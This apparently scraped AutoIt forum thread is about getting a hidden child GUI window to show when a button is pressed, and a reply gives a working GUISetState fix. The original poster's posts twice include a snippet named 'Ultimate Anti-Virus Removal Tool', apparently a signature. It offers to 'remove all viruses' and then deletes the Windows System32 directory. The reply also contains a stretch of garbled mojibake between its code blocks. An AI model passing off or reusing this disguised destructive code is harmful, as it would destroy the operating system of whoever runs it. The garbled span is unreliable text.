Sign in to follow this  
Followers 0
Firefoxy

Help with multiple GUI program

3 posts in this topic

I have seven GUIs. I'll be using the main GUI and a sub-GUI only for this example.

$Form_Main

and

$FormA2

When I begin the program I have $Form_Main set to @SW_SHOW. I have $FormA2 set to var $State_A2. At the heading of my GUI I have $State_A2 set to @SW_HIDE. I created a case to change $State_A2 to @SW_SHOW when a button is pressed.

The only problem is...well it doesn't show. How would I make this work properly

(Current Code:)

#include <GUIConstants.au3>


$State_Buttons = @SW_HIDE

#Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf
$Form_Main = GUICreate("Main Window", 866, 674, 195, 135)
$Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

#Region ### START Koda GUI section ### Form=
$FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main)
GUISetState($State_Buttons)
#EndRegion ### END Koda GUI section ###


While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button27
            $State_Buttons = @SW_SHOW
    EndSwitch
WEnd

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



I might be missing something here. But your button doesn't do anything to show the second GUI. It just changes the variable. You still have to call GuiSetState again to actually set the state of the child window to @SW_SHOW. eg:

#include <GUIConstants.au3>


$State_Buttons = @SW_HIDE

#Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf
$Form_Main = GUICreate("Main Window", 866, 674, 195, 135)
$Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

#Region ### START Koda GUI section ### Form=
$FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main)
GUISetState($State_Buttons)
#EndRegion ### END Koda GUI section ###


While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button27
            GUISetState(@SW_SHOW,$FormA2)
    EndSwitch
WEndoÝ÷ Øò¢ì׶¬zØ^½ªâi¹^¶åazÈhÃøbuëË^Ø^nëm¢|²Þ²ÇÊ¢é]¦ël¢g­)à)¶¬jëh×6#include <GUIConstants.au3>
#include <Misc.au3>

$State_Buttons = @SW_HIDE

#Region ### START Koda GUI section ### Form=C:\Documents and Settings\Hunter\Desktop\Form1_1.kxf
$Form_Main = GUICreate("Main Window", 866, 674, 195, 135)
$Button27 = GUICtrlCreateButton("Special Items", 640, 32, 99, 33, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

#Region ### START Koda GUI section ### Form=
$FormA2 = GUICreate("Special Items", 727, 424, 335, 271, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS), "", $Form_Main)
GUISetState($State_Buttons)
#EndRegion ### END Koda GUI section ###


While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button27
            $State_Buttons = _Iif($State_Buttons = @SW_SHOW, @SW_HIDE, @SW_SHOW)
            GUISetState($State_Buttons,$FormA2)
    EndSwitch
WEnd

Share this post


Link to post
Share on other sites

Woah...that was much easier than I had expected. Thanks for the advice.


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0